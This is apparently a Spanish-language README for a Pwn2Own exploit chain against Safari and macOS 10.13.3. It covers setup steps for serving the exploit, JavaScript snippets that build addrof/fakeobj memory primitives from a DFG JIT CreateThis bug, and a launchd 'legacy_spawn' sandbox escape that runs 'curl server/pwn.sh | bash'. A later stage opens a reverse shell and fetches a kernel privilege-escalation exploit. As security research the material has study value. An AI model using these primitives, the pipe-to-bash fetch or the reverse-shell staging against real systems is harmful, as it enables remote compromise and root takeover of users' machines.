
Una cadena de exploits de Pwn2Own
RCE en Safari, escape de sandbox y LPE a kernel para macOS 10.13.3.
Instala nasm y tornado:
brew install nasm
pip3 install tornado
Revisa config.py si quieres cambiar el host o los puertos. Después inicia el
servidor con ./server.py y navega a la URL mostrada.
Esta cadena de exploits utiliza tres fallos diferentes para pasar de código JavaScript ejecutándose dentro de Safari a ejecución de código en modo kernel:
La cadena de exploits está implementada en seis etapas, cada una en su propio subdirectorio:
Cada subdirectorio (con la excepción de libspc/) contiene un archivo llamado make.py que, al ejecutarse, realiza cualquier tipo de comando de compilación necesario y crea una lista de archivos que el servidor web debe servir.
Objetivo: lograr la ejecución de shellcode dentro del proceso WebContent con sandbox
Fallos explotados: optimización incorrecta en el compilador JIT DFG
Ver también esta charla de BlackHat
El compilador JIT DFG representa el código JavaScript en su propia representación
intermedia (IR), el Data Flow Graph (DFG). Normalmente, una expresión de JavaScript
se traduce a una o varias instrucciones IR en este grafo. En el
caso de una función constructora, se emite la instrucción CreateThis, que es la
encargada de asignar el objeto this que construye la
función. Como ejemplo, la función function Consructor() {}, cuando se llama
con new, se traduciría aproximadamente a
v0 = CreateThis
return v0
Si observamos el AbstractInterpreter, podemos ver que el compilador JIT DFG
asume que la operación CreateThis no provocará ningún efecto secundario
aparte de una asignación en el heap. De hecho, este código:
function Constructor(obj) {
return obj.x;
}
se traduciría aproximadamente a las siguientes instrucciones DFG:
(Aquí, el StructureCheck fue movido al principio de la función por la
TypeCheckHoistingPhase).
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;
Sin embargo, esa suposición no es válida, ya que el código de la ruta lenta de CreateThis puede
ejecutar código JavaScript arbitrario en algunos casos. En particular, al usar un
Proxy alrededor de la función real, el trap get para la propiedad "prototype"
se invocará durante el manejador de la ruta lenta de CreateThis, ya que necesita
obtener el objeto prototipo para el objeto construido:
function Constructor(obj) {
return obj.x;
}
var handler = {
get(target, propname) {
/* ejecutar JS aquí, modificar la estructura del objeto argumento, etc. */
return target[propname];
},
};
var ConstructorProxy = new Proxy(Constructor, handler);
// Forzar la compilación JIT de ConstructorProxy
Por lo tanto, ahora es posible modificar la Structure de un objeto sin que el compilador JIT realice un bailout.
Este fallo puede utilizarse para construir las primitivas addrof y fakeobj de la siguiente manera:
Compilamos el código para el caso de un JSArray con elementos double sin empaquetar;
luego, en el callback, realizamos la transición a elementos JSValue. Después, el código JIT
cargará un JSValue del array, pero tratará esos bits como un double y nos los
devolverá. El siguiente código asignará la dirección de leakme a la
propiedad "address" del objeto construido.
function InfoLeaker(a) {
this.address = a[0];
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
// ...
Aquí esencialmente lo hacemos al revés: optimizamos el código para almacenar un
double en un array con elementos double sin empaquetar y, de nuevo, hacemos la transición
a elementos JSValue en el callback. El código continuará escribiendo nuestro
double controlado en forma sin empaquetar en el almacenamiento subyacente. Cuando después accedamos
a ese elemento del array, tratará esos bits como un JSValue en lugar de un double.
El siguiente código escribirá el double sin empaquetar address en el búfer
subyacente de a, que luego podemos leer como JSValue, lo que nos permite "inyectar"
JSValues de nuestra elección en el motor.
function ObjFaker(a, address) {
a[0] = address;
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
// ...
De este modo, terminamos con la capacidad de escribir un double y tratarlo como un puntero a JSObject, y viceversa. Esto puede explotarse como se describe en attacking javascript engines.
El exploit primero consigue lectura/escritura de memoria arbitraria del proceso falsificando un Float64Array, luego busca la región JIT (mapeada RWX) y escribe el shellcode de la etapa 1 allí.
Objetivo: arrancar la etapa 2 escribiendo un .dylib en disco y cargándolo mediante dlopen()
Un payload corto en ensamblador que esencialmente hace lo siguiente:
confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) para obtener una ruta a un directorio escribibledlopen()Objetivo: salir de la sandbox
Fallo explotado: comprobaciones de sandbox ausentes en la API "legacy_spawn" de launchd
Ver también esta charla
Launchd expone el endpoint RPC "legacy_spawn" como rutina 817 en el subsistema 3.
Esta API no valida si al invocador se le debería permitir lanzar
procesos y simplemente ejecutará con execve cualquier binario del sistema para el invocador
con argumentos controlados. Dado que launchd es alcanzable a través del puerto bootstrap,
esto hace posible escapar de la sandbox.
El exploit esencialmente ejecuta curl server/pwn.sh | bash y así pasa
el control a la etapa 3.
Objetivo: abrir la calculadora y arrancar las etapas restantes
Esto ejecuta open /Applications/Calculator.app y establece una reverse
shell; después obtiene todos los archivos necesarios para las etapas restantes y ejecuta
los exploits.
Objetivo: obtener root mediante un exploit LPE
Fallo explotado: MitM en el puerto bootstrap de XNU
Ver también esta charla POC